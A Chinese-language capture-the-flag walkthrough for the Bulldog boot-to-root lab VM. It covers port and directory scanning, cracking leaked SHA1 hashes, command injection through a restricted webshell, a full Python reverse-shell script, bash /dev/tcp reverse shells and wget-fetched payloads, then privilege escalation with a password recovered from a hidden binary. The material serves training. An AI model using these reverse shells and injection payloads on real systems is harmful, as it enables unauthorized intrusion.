靶機說明
斗牛犬工業公司最近將其網站污損,並由惡意德國牧羊犬黑客團隊擁有。這是否意味着有更多的漏洞可以利用?你為什么不知道?:)
這是標准的Boot-to-Root。你唯一的目標是進入根目錄並看到祝賀信息,你怎么做取決於你!
難度:初學者/中級,如果遇到困難,試着找出你可以與系統交互的所有不同方式。這是我唯一的暗示;)
目標
-
提權到root權限並查看flag
運行環境
-
這個靶機,作者建議在Virtualbox上運行。但是攻擊機kali在vm中。
-
首先是網絡環境,將兩台處於不同虛擬機軟件中的虛擬機配置到同一網卡下。
-
Virtualbox設置為橋接模式,橋接到物理的無線網卡
- 只有一塊無線網卡鏈接到了互聯網,所以kali直接橋接,復制物理網絡即可。
-
最后kali執行
dhclient
命令,請求分配ip,bulldog直接開機即可。
信息收集
-
ip發現
kali安裝在vmware,作為攻擊機,ip為:
bulldog靶機運行在virtualbox虛擬機上,在開機時,已經給出了ip地址:
-
端口掃描
執行命令 nmap -sS 192.168.0.113
發現 23 , 80 , 8080 端口開放
-
服務識別
執行命令 nmap -A -p 80,23 192.168.0.113
對23和80進行詳細探測
發現ssh服務和web服務,並且web服務為python。
漏洞挖掘
-
首先查看web,同時進行目錄探測
dirb http://192.168.0.113
發現 /admin/auth/group , /admin/auth/user , /admin/login , /dev/shell 等目錄
- 對/admin/auth/group ,/admin/auth/user 進行訪問探測
發現都重定向到 /admin/login 的登陸頁面
- 訪問admin登錄頁面,並進行了注入嘗試,沒有成功
- 查看/dev/shell發現webshell不能使用
- 查看/dev頁面的源碼發現提示
新系統不在使用php或任何CMS,而是使用Django框架開發。這意味着不太可能再找到網頁的注入漏洞,只能找Django框架漏洞;網站不使用php,無需再找php漏洞或者寫php木馬;
有明顯的英文提示:We'll remove these in prod. It's not like a hacker can do anything with a hash。
看到這個,經常做ctf的人,都能看出來,下一步就是hash碰撞
hash碰撞講解:https://www.cnblogs.com/xuanhun/archive/2012/01/01/2309571.html
- 對hash進行碰撞,hash長度為40位,可以看出是sha1,即使不知道是哪種hash,也可以把每個hash值,到CMD5嘗試碰撞解密:
然后hash碰撞,我們得出密碼為 bulldoglover ,但是我們沒有用戶名
我們再來分析源碼,發現了這個,我們推測用戶名為 sarah
應為哈希碰撞,后面的為密碼
- 利用碰撞出來的兩個密碼進行登錄嘗試利用sarah成功登錄
- 此時webshell可以使用
真是一舉兩得
獲取shell
-
發現給出的webshell只能使用給定的幾個命令。嘗試命令注入。
- python反彈shell 可以進行命令注入,嘗試wget是否有權限。攻擊機kali執行命令
python -m SimpleHTTPServer 80
搭建簡易web服務。在webshell上執行命令pwd&wget http://192.168.0.112
。kali的日志中發現訪問記錄
- 在開啟python web服務的目錄下准備一個python shell
1 import socket,subprocess,os 2 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 3 s.connect(("192.168.0.113",1234)) 4 os.dup2(s.fileno(),0) 5 os.dup2(s.fileno(),1) 6 os.dup2(s.fileno(),2) 7 p=subprocess.call(["/bin/bash","-i"])
- 在命令執行頁面執行
pwd & wget http://192.168.0.112/pythonShell.py
本地日志顯示成功下載
- 本地進行nc監聽,執行
nc -lvp 1234
- 在命令執行處執行 pwd & python pythonShell.py
成功獲得shell
- 反彈shell
(1) Windows攻擊機開啟nc監聽:nc -lvnp 4444
(2) 直接執行 ls && bash -i >& /dev/tcp/192.168.0.112/1234 0>&1
失敗,server報錯500。
(3) 嘗試多次bash反彈,最后使用echo命令先輸出命令,再輸入到bash,反彈shell成功:
echo "bash -i >& /dev/tcp/192.168.0.112/1234 0>&1" | bash
反彈獲得shell成功
提升權限並且獲得flag
- 查看有哪些系統用戶
cat /etc/passwd
, 發現需要關注的用戶有:bulldogadmin、django
- 進入/home目錄,查看是否有其他用戶,進入
bulldogadmin
- 查看他的命令歷史文件,意外發現一個隱藏目
.hiddenadmindirectory
-
該隱藏目錄存在兩個文件,一個note提示,一個可執行文件
-
利用
strings
查看可執行文件中的字符
從以上字符中大致明白了程序的用途和用法
猜測可能是密碼,應為SUPER、 ulitimate、PASSWORD、youCANTget,這些都與最高權限賬號相關
你可以把他們連到一起正好是SUPERultimatePASSWORDyouCANTget
,H是來混淆我們的,還好博主認識PASSWORD,我們查看一下
經過測試,發現確實是密碼
最后讀取flag文件
-
同時我們也可以提權
su命令無法執行
我們執行執行python shell
sudo python -c import pty; pty.spawn("/bin/bash")'
並且輸入剛獲得的密碼
- 如果不解決無法su,還記得有23端口的ssh,也可以使用Xshell通過ssh登錄,登錄成功后執行sudo su - 提權並獲得flag
用戶名:django
密碼:SUPERultimatePASSWORDyouCANTget
不用猜測的密碼,改了django再登錄也可以。
sudo su提權,密碼是:SUPERultimatePASSWORDyouCANTget
靶場思路回顧
1.目錄暴破出dev和admin頁面:
(1) 可暴破出dev頁面,該頁面源碼里面有多個賬號的用戶名、郵箱、密碼sha1值。該頁面還鏈接到webshell命令執行頁面。
(2) 可暴破出admin后台頁面,登錄密碼通過dev頁面破解sha1得到。
2.繞過白名單限制,執行命令和反彈shell:繞過限制執行命令比較容易。反彈shell嘗試多次使用bash反彈shell后成功,沒有嘗試py shell。
3.搜索系統中id為1000以后的用戶的文件,可以找到隱藏文件。
4.猜解root密碼很艱難。
總結
-
難點和踩到的坑:
(1) 發現和破解sha1:在dev頁面查看源碼,發現多個用戶hash后,即使不知道是40位的sha1,也可以直接去cmd5破解,系統會自動識別,可以破解出2個賬號。如果用hashcat暴破sha1,需要強大的字段和較長的時間。
(2) 反彈shell應該有多種方法:第一個想到的是bash shell,也想到了python反彈shell。只嘗試了通過bash反彈shell,如果bash反彈不成功,可嘗試往系統echo文件,賦予+x執行權限,執行腳本反彈。也可嘗試Python是否能夠反彈shell。
(3) 發現隱藏的包含root密碼的文件,通過搜索id為1000之后的用戶文件,查看歷史命令,或者查看目錄,也可能找到。
(4) 猜解root密碼:這個是最難的,找到這個文件並不難,但是通過strings查看文件內容,並且拼接字符串為root密碼,感覺難度很大。